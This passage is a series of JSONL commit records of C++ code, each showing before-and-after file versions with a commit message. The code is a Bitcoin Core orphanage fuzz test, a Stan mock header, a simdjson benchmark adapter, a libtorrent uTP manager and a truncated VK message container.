MAX_STANDARD_TX_WEIGHT);\n                        Assert(!have_tx || !add_tx);\n                    }\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ EraseTx should return 0 if m_orphans doesn't have the tx\n                    {\n                        LOCK(g_cs_orphans);\n                        Assert(have_tx == orphanage.EraseTx(tx->GetHash()));\n                    }\n                    have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ have_tx should be false and EraseTx should fail\n                    {\n                        LOCK(g_cs_orphans);\n                        Assert(!have_tx && !orphanage.EraseTx(tx->GetHash()));\n                    }\n                },\n                [&] {\n                    LOCK(g_cs_orphans);\n                    orphanage.EraseForPeer(peer_id);\n                },\n                [&] {\n                    \/\/ test mocktime and expiry\n                    SetMockTime(ConsumeTime(fuzzed_data_provider));\n                    auto size_before = orphanage.Size();\n                    auto limit = fuzzed_data_provider.ConsumeIntegral<unsigned int>();\n                    auto n_evicted = WITH_LOCK(g_cs_orphans, return orphanage.LimitOrphans(limit));\n                    Assert(size_before - n_evicted <= limit);\n                    Assert(orphanage.Size() <= limit);\n                });\n        }\n    }\n}\n<commit_msg>Fix `-Wparentheses` gcc warning<commit_after>\/\/ Copyright (c) 2022 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <consensus\/amount.h>\n#include <consensus\/validation.h>\n#include <net_processing.h>\n#include <node\/eviction.h>\n#include <policy\/policy.h>\n#include <primitives\/transaction.h>\n#include <script\/script.h>\n#include <sync.h>\n#include <test\/fuzz\/FuzzedDataProvider.h>\n#include <test\/fuzz\/fuzz.h>\n#include <test\/fuzz\/util.h>\n#include <test\/util\/setup_common.h>\n#include <txorphanage.h>\n#include <uint256.h>\n#include <util\/check.h>\n#include <util\/time.h>\n\n#include <algorithm>\n#include <cstdint>\n#include <memory>\n#include <set>\n#include <utility>\n#include <vector>\n\nvoid initialize_orphanage()\n{\n    static const auto testing_setup = MakeNoLogFileContext();\n}\n\nFUZZ_TARGET_INIT(txorphan, initialize_orphanage)\n{\n    FuzzedDataProvider fuzzed_data_provider(buffer.data(), buffer.size());\n    SetMockTime(ConsumeTime(fuzzed_data_provider));\n\n    TxOrphanage orphanage;\n    std::set<uint256> orphan_work_set;\n    std::vector<COutPoint> outpoints;\n    \/\/ initial outpoints used to construct transactions later\n    for (uint8_t i = 0; i < 4; i++) {\n        outpoints.emplace_back(uint256{i}, 0);\n    }\n    \/\/ if true, allow duplicate input when constructing tx\n    const bool duplicate_input = fuzzed_data_provider.ConsumeBool();\n\n    LIMITED_WHILE(fuzzed_data_provider.ConsumeBool(), 10 * DEFAULT_MAX_ORPHAN_TRANSACTIONS)\n    {\n        \/\/ construct transaction\n        const CTransactionRef tx = [&] {\n            CMutableTransaction tx_mut;\n            const auto num_in = fuzzed_data_provider.ConsumeIntegralInRange<uint32_t>(1, outpoints.size());\n            const auto num_out = fuzzed_data_provider.ConsumeIntegralInRange<uint32_t>(1, outpoints.size());\n            \/\/ pick unique outpoints from outpoints as input\n            for (uint32_t i = 0; i < num_in; i++) {\n                auto& prevout = PickValue(fuzzed_data_provider, outpoints);\n                tx_mut.vin.emplace_back(prevout);\n                \/\/ pop the picked outpoint if duplicate input is not allowed\n                if (!duplicate_input) {\n                    std::swap(prevout, outpoints.back());\n                    outpoints.pop_back();\n                }\n            }\n            \/\/ output amount will not affect txorphanage\n            for (uint32_t i = 0; i < num_out; i++) {\n                tx_mut.vout.emplace_back(CAmount{0}, CScript{});\n            }\n            \/\/ restore previously poped outpoints\n            for (auto& in : tx_mut.vin) {\n                outpoints.push_back(in.prevout);\n            }\n            const auto new_tx = MakeTransactionRef(tx_mut);\n            \/\/ add newly constructed transaction to outpoints\n            for (uint32_t i = 0; i < num_out; i++) {\n                outpoints.emplace_back(new_tx->GetHash(), i);\n            }\n            return new_tx;\n        }();\n\n        \/\/ trigger orphanage functions\n        LIMITED_WHILE(fuzzed_data_provider.ConsumeBool(), 10 * DEFAULT_MAX_ORPHAN_TRANSACTIONS)\n        {\n            NodeId peer_id = fuzzed_data_provider.ConsumeIntegral<NodeId>();\n\n            CallOneOf(\n                fuzzed_data_provider,\n                [&] {\n                    LOCK(g_cs_orphans);\n                    orphanage.AddChildrenToWorkSet(*tx, orphan_work_set);\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    {\n                        LOCK(g_cs_orphans);\n                        bool get_tx = orphanage.GetTx(tx->GetHash()).first != nullptr;\n                        Assert(have_tx == get_tx);\n                    }\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ AddTx should return false if tx is too big or already have it\n                    \/\/ tx weight is unknown, we only check when tx is already in orphanage\n                    {\n                        LOCK(g_cs_orphans);\n                        bool add_tx = orphanage.AddTx(tx, peer_id);\n                        \/\/ have_tx == true -> add_tx == false\n                        Assert(!have_tx || !add_tx);\n                    }\n                    have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    {\n                        LOCK(g_cs_orphans);\n                        bool add_tx = orphanage.AddTx(tx, peer_id);\n                        \/\/ if have_tx is still false, it must be too big\n                        Assert(!have_tx == (GetTransactionWeight(*tx) > MAX_STANDARD_TX_WEIGHT));\n                        Assert(!have_tx || !add_tx);\n                    }\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ EraseTx should return 0 if m_orphans doesn't have the tx\n                    {\n                        LOCK(g_cs_orphans);\n                        Assert(have_tx == orphanage.EraseTx(tx->GetHash()));\n                    }\n                    have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ have_tx should be false and EraseTx should fail\n                    {\n                        LOCK(g_cs_orphans);\n                        Assert(!have_tx && !orphanage.EraseTx(tx->GetHash()));\n                    }\n                },\n                [&] {\n                    LOCK(g_cs_orphans);\n                    orphanage.EraseForPeer(peer_id);\n                },\n                [&] {\n                    \/\/ test mocktime and expiry\n                    SetMockTime(ConsumeTime(fuzzed_data_provider));\n                    auto size_before = orphanage.Size();\n                    auto limit = fuzzed_data_provider.ConsumeIntegral<unsigned int>();\n                    auto n_evicted = WITH_LOCK(g_cs_orphans, return orphanage.LimitOrphans(limit));\n                    Assert(size_before - n_evicted <= limit);\n                    Assert(orphanage.Size() <= limit);\n                });\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __STAN__MCMC__MOCK__HMC_BETA__\n#define __STAN__MCMC__MOCK__HMC__BETA__\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n\n#include <stan\/model\/prob_grad.hpp>\n\n#include <stan\/mcmc\/hmc\/hamiltonians\/ps_point.hpp>\n#include <stan\/mcmc\/hmc\/hamiltonians\/base_hamiltonian.hpp>\n#include <stan\/mcmc\/hmc\/integrators\/base_integrator.hpp>\n\n\/\/#include <stan\/mcmc\/hmc\/nuts\/base_nuts.hpp>\n\nnamespace stan {\n  \n  namespace mcmc {\n    \n\n    \/\/ Mock Model\n    class mock_model: public model::prob_grad {\n    public:\n      \n      mock_model(size_t num_params_r): model::prob_grad(num_params_r) {};\n      \n      template <bool propto, bool jacobian_adjust_transforms, typename T>\n      double log_prob(std::vector<T>& params_r,\n                      std::vector<int>& params_i,\n                      std::ostream* output_stream = 0) const {\n        std::cout << \"Returning log_prob = 2.5!\" << std::endl;\n        return 0;\n      }\n\n      \/\/ template <bool propto, bool jacobian_adjust_transforms>\n      \/\/ double grad_log_prob(std::vector<double>& params_r,\n      \/\/                      std::vector<int>& params_i,\n      \/\/                      std::vector<double>& gradient,\n      \/\/                      std::ostream* output_stream = 0) { \n      \/\/   return 0; \n      \/\/ }\n\n      double log_prob(std::vector<double>& params_r,\n                      std::vector<int>& params_i,\n                      std::ostream* output_stream = 0) const { \n        return 0;\n      }\n      \n      \n    };\n\n    \/\/ Mock Hamiltonian\n    template <typename M, typename BaseRNG>\n    class mock_hamiltonian: public base_hamiltonian<M,\n                                                    ps_point,\n                                                    BaseRNG> {\n      \n    public:\n      \n      mock_hamiltonian(M& m, std::ostream *e): base_hamiltonian<M,\n                                               ps_point,\n                                               BaseRNG> (m,e) {};\n      \n      double T(ps_point& z) { return 0; }\n      \n      double tau(ps_point& z) { return T(z); }\n      double phi(ps_point& z) { return this->V(z); }\n      \n      const Eigen::VectorXd dtau_dq(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      const Eigen::VectorXd dtau_dp(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      const Eigen::VectorXd dphi_dq(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      void sample_p(ps_point& z, BaseRNG& rng) {};\n      \n    };\n    \n    \/\/ Mock Integrator\n    template <typename H, typename P>\n    class mock_integrator: public base_integrator<H, P> {\n    \n    public:\n      mock_integrator(std::ostream* o) \n      : base_integrator<H,P>(o)\n      { }\n      \n      void evolve(P& z, H& hamiltonian, const double epsilon) {\n        Eigen::Map<Eigen::VectorXd> eigen_q(&(z.q[0]), z.q.size());\n        eigen_q += epsilon * z.p;\n      };\n      \n    };\n    \n  } \/\/ mcmc\n  \n} \/\/ stan\n\n#endif\n<commit_msg>Remove deprecated cout<commit_after>#ifndef __STAN__MCMC__MOCK__HMC_BETA__\n#define __STAN__MCMC__MOCK__HMC__BETA__\n\n#include <stan\/math\/matrix\/Eigen.hpp>\n\n#include <stan\/model\/prob_grad.hpp>\n\n#include <stan\/mcmc\/hmc\/hamiltonians\/ps_point.hpp>\n#include <stan\/mcmc\/hmc\/hamiltonians\/base_hamiltonian.hpp>\n#include <stan\/mcmc\/hmc\/integrators\/base_integrator.hpp>\n\n\/\/#include <stan\/mcmc\/hmc\/nuts\/base_nuts.hpp>\n\nnamespace stan {\n  \n  namespace mcmc {\n    \n\n    \/\/ Mock Model\n    class mock_model: public model::prob_grad {\n    public:\n      \n      mock_model(size_t num_params_r): model::prob_grad(num_params_r) {};\n      \n      template <bool propto, bool jacobian_adjust_transforms, typename T>\n      double log_prob(std::vector<T>& params_r,\n                      std::vector<int>& params_i,\n                      std::ostream* output_stream = 0) const {\n        return 0;\n      }\n\n      \/\/ template <bool propto, bool jacobian_adjust_transforms>\n      \/\/ double grad_log_prob(std::vector<double>& params_r,\n      \/\/                      std::vector<int>& params_i,\n      \/\/                      std::vector<double>& gradient,\n      \/\/                      std::ostream* output_stream = 0) { \n      \/\/   return 0; \n      \/\/ }\n\n      double log_prob(std::vector<double>& params_r,\n                      std::vector<int>& params_i,\n                      std::ostream* output_stream = 0) const { \n        return 0;\n      }\n      \n      \n    };\n\n    \/\/ Mock Hamiltonian\n    template <typename M, typename BaseRNG>\n    class mock_hamiltonian: public base_hamiltonian<M,\n                                                    ps_point,\n                                                    BaseRNG> {\n      \n    public:\n      \n      mock_hamiltonian(M& m, std::ostream *e): base_hamiltonian<M,\n                                               ps_point,\n                                               BaseRNG> (m,e) {};\n      \n      double T(ps_point& z) { return 0; }\n      \n      double tau(ps_point& z) { return T(z); }\n      double phi(ps_point& z) { return this->V(z); }\n      \n      const Eigen::VectorXd dtau_dq(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      const Eigen::VectorXd dtau_dp(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      const Eigen::VectorXd dphi_dq(ps_point& z) {\n        return Eigen::VectorXd::Zero(this->_model.num_params_r());\n      }\n      \n      void sample_p(ps_point& z, BaseRNG& rng) {};\n      \n    };\n    \n    \/\/ Mock Integrator\n    template <typename H, typename P>\n    class mock_integrator: public base_integrator<H, P> {\n    \n    public:\n      mock_integrator(std::ostream* o) \n      : base_integrator<H,P>(o)\n      { }\n      \n      void evolve(P& z, H& hamiltonian, const double epsilon) {\n        Eigen::Map<Eigen::VectorXd> eigen_q(&(z.q[0]), z.q.size());\n        eigen_q += epsilon * z.p;\n      };\n      \n    };\n    \n  } \/\/ mcmc\n  \n} \/\/ stan\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <sstream>\n#include <string>\n#include <string_view>\n\n#include \"..\/test.h\"\n#include \"simdjson.cpp\"\n#include \"simdjson.h\"\n\nusing namespace simdjson;\n\nstatic void GenStat(Stat &stat, const dom::element &v) {\n  switch (v.type()) {\n    case dom::element_type::ARRAY:\n      for (dom::element child : dom::array(v)) {\n        GenStat(stat, child);\n      }\n      stat.arrayCount++;\n      stat.elementCount += dom::array(v).size();\n      break;\n    case dom::element_type::OBJECT:\n      for (dom::key_value_pair kv : dom::object(v)) {\n        GenStat(stat, dom::element(kv.value));\n      }\n      stat.objectCount++;\n      stat.memberCount += dom::object(v).size();\n      stat.stringCount += dom::object(v).size();\n      break;\n    case dom::element_type::INT64:\n      break;\n    case dom::element_type::UINT64:\n      break;\n    case dom::element_type::DOUBLE:\n      stat.numberCount++;\n      break;\n    case dom::element_type::STRING: {\n      stat.stringCount++;\n      std::string_view sv = v.get<std::string_view>();\n      stat.stringLength += sv.size();\n    } break;\n    case dom::element_type::BOOL:\n      if (v.get<bool>()) {\n        stat.trueCount++;\n      } else {\n        stat.falseCount++;\n      }\n      break;\n    case dom::element_type::NULL_VALUE:\n      ++stat.nullCount;\n      break;\n  }\n}\n\nclass SimdJsonParseResult : public ParseResultBase {\n public:\n  dom::element root{};\n  std::unique_ptr<dom::parser> parser = std::make_unique<dom::parser>();\n};\n\nclass SimdStringResult : public StringResultBase {\n public:\n  std::stringstream ss;\n  const char *c_str() const override { return ss.str().c_str(); }\n};\nclass SimdTest : public TestBase {\n public:\n#if TEST_INFO\n  const char *GetName() const override { return \"simdjson\"; }\n  const char *GetFilename() const override { return __FILE__; }\n#endif\n\n#if TEST_PARSE\n  ParseResultBase *Parse(const char *j, size_t length) const override {\n    auto pr = std::make_unique<SimdJsonParseResult>();\n\n    std::string_view s(j, length);\n    simdjson::error_code error;\n    pr->parser->parse(s).tie(pr->root, error);\n    if (error) {\n      return nullptr;\n    }\n    return pr.release();\n  }\n#endif\n\n#if TEST_STRINGIFY\n  StringResultBase *Stringify(\n      const ParseResultBase *parseResult) const override {\n    auto sr = std::make_unique<SimdStringResult>();\n\n    auto pr = static_cast<const SimdJsonParseResult *>(parseResult);\n    sr->ss << pr->root;\n    return sr.release();\n  }\n#endif\n\n#if TEST_PRETTIFY\n  \/\/ Currently unsupported, simdjson v0.3\n  StringResultBase *Prettify(\n      const ParseResultBase *parseResult) const override {\n    (void)parseResult;\n    return nullptr;\n  }\n#endif\n\n#if TEST_STATISTICS\n  bool Statistics(const ParseResultBase *parseResult,\n                  Stat *stat) const override {\n    auto pr = static_cast<const SimdJsonParseResult *>(parseResult);\n    memset(stat, 0, sizeof(Stat));\n\n    GenStat(*stat, pr->root);\n    return true;\n  }\n#endif\n\n#if TEST_CONFORMANCE\n  bool ParseDouble(const char *j, double *d) const override {\n    simdjson::error_code error;\n    simdjson::dom::parser parser;\n    parser.parse(j, std::strlen(j)).at(0).get<double>().tie(*d, error);\n    if (error) {\n      return false;\n    }\n\n    return true;\n  }\n\n  bool ParseString(const char *j, std::string &s) const override {\n    simdjson::error_code error;\n\n    simdjson::dom::parser parser;\n    dom::element element;\n    parser.parse(j, std::strlen(j)).tie(element, error);\n    std::stringstream ss;\n    ss << element.at(0);\n    s = ss.str();\n\n    if (error) {\n      return false;\n    }\n\n    return true;\n  }\n#endif\n};\n\nREGISTER_TEST(SimdTest);\n\n<commit_msg>Minor fixes<commit_after>#include <sstream>\n#include <string>\n#include <string_view>\n\n#include \"..\/test.h\"\n#include \"simdjson.cpp\"\n#include \"simdjson.h\"\n\nusing namespace simdjson;\n\nstatic void GenStat(Stat &stat, const dom::element &v) {\n  switch (v.type()) {\n    case dom::element_type::ARRAY:\n      for (dom::element child : dom::array(v)) {\n        stat.elementCount++;\n        GenStat(stat, child);\n      }\n      stat.arrayCount++;\n      break;\n    case dom::element_type::OBJECT:\n      for (dom::key_value_pair kv : dom::object(v)) {\n        GenStat(stat, dom::element(kv.value));\n        stat.memberCount++;\n        stat.stringCount++;\n      }\n      stat.objectCount++;\n      break;\n    case dom::element_type::INT64:\n    case dom::element_type::UINT64:\n    case dom::element_type::DOUBLE:\n      stat.numberCount++;\n      break;\n    case dom::element_type::STRING: {\n      stat.stringCount++;\n      std::string_view sv = v.get<std::string_view>();\n      stat.stringLength += sv.size();\n    } break;\n    case dom::element_type::BOOL:\n      if (v.get<bool>()) {\n        stat.trueCount++;\n      } else {\n        stat.falseCount++;\n      }\n      break;\n    case dom::element_type::NULL_VALUE:\n      ++stat.nullCount;\n      break;\n  }\n}\n\nclass SimdJsonParseResult : public ParseResultBase {\n public:\n  dom::element root{};\n  std::unique_ptr<dom::parser> parser = std::make_unique<dom::parser>();\n};\n\nclass SimdStringResult : public StringResultBase {\n public:\n  std::stringstream ss;\n  const char *c_str() const override { return ss.str().c_str(); }\n};\nclass SimdTest : public TestBase {\n public:\n#if TEST_INFO\n  const char *GetName() const override { return \"simdjson\"; }\n  const char *GetFilename() const override { return __FILE__; }\n#endif\n\n#if TEST_PARSE\n  ParseResultBase *Parse(const char *j, size_t length) const override {\n    auto pr = std::make_unique<SimdJsonParseResult>();\n\n    std::string_view s(j, length);\n    simdjson::error_code error;\n    pr->parser->parse(s).tie(pr->root, error);\n    if (error) {\n      return nullptr;\n    }\n    return pr.release();\n  }\n#endif\n\n#if TEST_STRINGIFY\n  StringResultBase *Stringify(\n      const ParseResultBase *parseResult) const override {\n    auto sr = std::make_unique<SimdStringResult>();\n\n    auto pr = static_cast<const SimdJsonParseResult *>(parseResult);\n    sr->ss << pr->root;\n    return sr.release();\n  }\n#endif\n\n#if TEST_PRETTIFY\n  \/\/ Currently unsupported, simdjson v0.3\n  StringResultBase *Prettify(\n      const ParseResultBase *parseResult) const override {\n    (void)parseResult;\n    return nullptr;\n  }\n#endif\n\n#if TEST_STATISTICS\n  bool Statistics(const ParseResultBase *parseResult,\n                  Stat *stat) const override {\n    auto pr = static_cast<const SimdJsonParseResult *>(parseResult);\n    memset(stat, 0, sizeof(Stat));\n    GenStat(*stat, pr->root);\n    return true;\n  }\n#endif\n\n#if TEST_CONFORMANCE\n  bool ParseDouble(const char *j, double *d) const override {\n    simdjson::error_code error;\n    simdjson::dom::parser parser;\n    parser.parse(j, std::strlen(j)).at(0).get<double>().tie(*d, error);\n    if (error) {\n      return false;\n    }\n    return true;\n  }\n\n  bool ParseString(const char *j, std::string &s) const override {\n    simdjson::error_code error;\n    dom::element element;\n    simdjson::dom::parser parser;\n    parser.parse(j, std::strlen(j)).tie(element, error);;\n    if (error) {\n      return false;\n    }\n    s = element;\n    return true;\n  }\n#endif\n};\n\nREGISTER_TEST(SimdTest);\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/utp_stream.hpp\"\n#include \"libtorrent\/udp_socket.hpp\"\n\nnamespace libtorrent\n{\n\n\tutp_socket_manager::utp_socket_manager(udp_socket& s, incoming_utp_fun cb\n\t\t, void* userdata)\n\t\t: m_sock(s)\n\t\t, m_cb(cb)\n\t\t, m_userdata(userdata)\n\t{}\n\n\tvoid utp_socket_manager::tick()\n\t{\n\t\tfor (socket_map_t::iterator i = m_utp_sockets.begin()\n\t\t\t, end(m_utp_sockets.end()); i != end; ++i)\n\t\t{\n\t\t\ti->second->tick();\n\t\t}\n\t}\n\n\tbool utp_socket_manager::incoming_packet(char const* p, int size)\n\t{\n\t\tif (size < sizeof(utp_header)) return false;\n\n\t\tutp_header const* ph = (utp_header*)p;\n\n\t\tif (ph->ver != 1) return false;\n\n\t\t\/\/ parse out connection ID and look for existing\n\t\t\/\/ connections. If found, forward to the utp_stream.\n\t\tboost::uint16_t id = ph->connection_id;\n\t\tsocket_map_t::iterator i = m_utp_sockets.find(id);\n\n\t\t\/\/ if not found, see if it's a SYN packet, if it is,\n\t\t\/\/ create a new utp_stream\n\t\tif (i == m_utp_sockets.end() && ph->type == ST_SYN)\n\t\t{\n\t\t\tboost::uint16_t id = rand();\n\t\t\tboost::shared_ptr<utp_stream> c(new utp_stream(m_sock.get_io_service(), *this, id));\n\n\t\t\tTORRENT_ASSERT(m_utp_sockets.find(id) == m_utp_sockets.end());\n\t\t\ti = m_utp_sockets.insert(std::make_pair(id, c.get()));\n\t\t\tm_cb(m_userdata, c);\n\t\t}\n\n\t\tif (i != m_utp_sockets.end())\n\t\t\treturn i->second->incoming_packet(p, size);\n\n\t\treturn false;\n\t}\n\n\tvoid utp_socket_manager::remove_socket(boost::uint16_t id)\n\t{\n\t\tsocket_map_t::iterator i = m_utp_sockets.find(id);\n\t\tif (i == m_utp_sockets.end()) return;\n\t\tm_utp_sockets.erase(i);\n\t}\n\n\tvoid utp_socket_manager::add_socket(boost::uint16_t id, utp_stream* s)\n\t{\n\t}\n}\n\n<commit_msg>Fixed minor typo i = m_utp_sockets.insert(i, ..) in utp_socket_manager::incoming_packet().<commit_after>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/utp_stream.hpp\"\n#include \"libtorrent\/udp_socket.hpp\"\n\nnamespace libtorrent\n{\n\n\tutp_socket_manager::utp_socket_manager(udp_socket& s, incoming_utp_fun cb\n\t\t, void* userdata)\n\t\t: m_sock(s)\n\t\t, m_cb(cb)\n\t\t, m_userdata(userdata)\n\t{}\n\n\tvoid utp_socket_manager::tick()\n\t{\n\t\tfor (socket_map_t::iterator i = m_utp_sockets.begin()\n\t\t\t, end(m_utp_sockets.end()); i != end; ++i)\n\t\t{\n\t\t\ti->second->tick();\n\t\t}\n\t}\n\n\tbool utp_socket_manager::incoming_packet(char const* p, int size)\n\t{\n\t\tif (size < sizeof(utp_header)) return false;\n\n\t\tutp_header const* ph = (utp_header*)p;\n\n\t\tif (ph->ver != 1) return false;\n\n\t\t\/\/ parse out connection ID and look for existing\n\t\t\/\/ connections. If found, forward to the utp_stream.\n\t\tboost::uint16_t id = ph->connection_id;\n\t\tsocket_map_t::iterator i = m_utp_sockets.find(id);\n\n\t\t\/\/ if not found, see if it's a SYN packet, if it is,\n\t\t\/\/ create a new utp_stream\n\t\tif (i == m_utp_sockets.end() && ph->type == ST_SYN)\n\t\t{\n\t\t\tboost::uint16_t id = rand();\n\t\t\tboost::shared_ptr<utp_stream> c(new utp_stream(m_sock.get_io_service(), *this, id));\n\n\t\t\tTORRENT_ASSERT(m_utp_sockets.find(id) == m_utp_sockets.end());\n\t\t\ti = m_utp_sockets.insert(i, std::make_pair(id, c.get()));\n\t\t\tm_cb(m_userdata, c);\n\t\t}\n\n\t\tif (i != m_utp_sockets.end())\n\t\t\treturn i->second->incoming_packet(p, size);\n\n\t\treturn false;\n\t}\n\n\tvoid utp_socket_manager::remove_socket(boost::uint16_t id)\n\t{\n\t\tsocket_map_t::iterator i = m_utp_sockets.find(id);\n\t\tif (i == m_utp_sockets.end()) return;\n\t\tm_utp_sockets.erase(i);\n\t}\n\n\tvoid utp_socket_manager::add_socket(boost::uint16_t id, utp_stream* s)\n\t{\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"vkcontainermessage.h\"\n#include \"vkhandlermessages.h\"\n#include \"vkcontainermessageaction.h\"\n#include \"vkemojiparser.h\"\n\nVKContainerMessage::VKContainerMessage(QObject *parent) :\n    VKAbstractContainer(parent)\n{\n    setReadState(false);\n}\n\nVKContainerMessage::~VKContainerMessage()\n{\n}\n\nQSharedPointer<VKContainerMessage> VKContainerMessage::fromJson(VKStorage *storage, QJsonObject obj, QJsonArray users, QVector<int> &userIds) {\n    auto message = QSharedPointer<VKContainerMessage>(new VKContainerMessage);\n\n    QDateTime date;\n    date.setTime_t(obj.value(\"date\").toInt());\n    message->setMsgId(obj.value(\"id\").toInt());\n    message->setDate(date);\n    message->setIsIncoming(obj.value(\"out\").toInt() == 0);\n\n    if (message->isIncoming()) {\n        bool userFound = false;\n        int id = obj.value(\"user_id\").toInt();\n\n        for (const auto &e : users) {\n            auto el = e.toObject();\n            if (el.value(\"id\").toInt() == id) {\n                auto user = VKContainerUser::fromJson(storage, el);\n                message->setUser(user);\n                userFound = true;\n                break;\n            }\n        }\n        if (!userFound) {\n            message->setUser(QSharedPointer<VKContainerUser>(new VKContainerUser));\n            message->user()->valid(false);\n            message->user()->setId(id);\n            userIds.append(id);\n        }\n    } else {\n        message->setUser(storage->getUserById(storage->ourUserId()));\n    }\n\n    message->setReadState(obj.value(\"read_state\").toInt() == 1);\n\n    auto body = obj.value(\"body\").toString();\n    if (obj.contains(\"emoji\") && obj.value(\"emoji\").toInt() == 1) {\n        VKContainerMessage::processEmoji(body);\n    }\n    message->setBody(body);\n\n    if (obj.value(\"chat_id\").isDouble()){\n        message->setChatId(obj.value(\"chat_id\").toInt());\n    } else {\n        message->setChatId(obj.value(\"user_id\").toInt());\n    }\n\n    auto fwdMessages = obj.value(\"fwd_messages\").toArray();\n    for (auto e: fwdMessages) {\n        auto fwd = e.toObject();\n        QVector<int> unknownUsers;\n        auto msg = VKContainerMessage::fromJson(storage, fwd, users, unknownUsers);\n        message->addFwdMsg(msg);\n        userIds += unknownUsers;\n    }\n\n    message->setAttachments( VKContainerAttachments::fromJson(storage, obj.value(\"attachments\").toArray()));\n\n    message->setAction(VKContainerMessageAction::fromJson(storage, obj, users, userIds));\n\n    return message;\n}\n\nvoid VKContainerMessage::complete(VKAbstractHandler *_h) {\n    auto h = dynamic_cast<VKHandlerUsers*>(_h);\n    for (int i=0;i<h->count() && h;i++) {\n        auto el = h->get(i);\n        if (user()->id() == el->id()) {\n            qDebug()<<\"Message with id\"<<msgId()<<\"completed with user id\"<<el->id();\n            setUser(el);\n            break;\n        }\n    }\n    for (auto e: m_fwd) {\n        e->complete(_h);\n    }\n    m_action->complete(h);\n    m_user->complete(h);\n    m_attachments->complete(h);\n}\n\n\nvoid VKContainerMessage::setUser(QSharedPointer<VKContainerUser> arg) {\n    m_user = 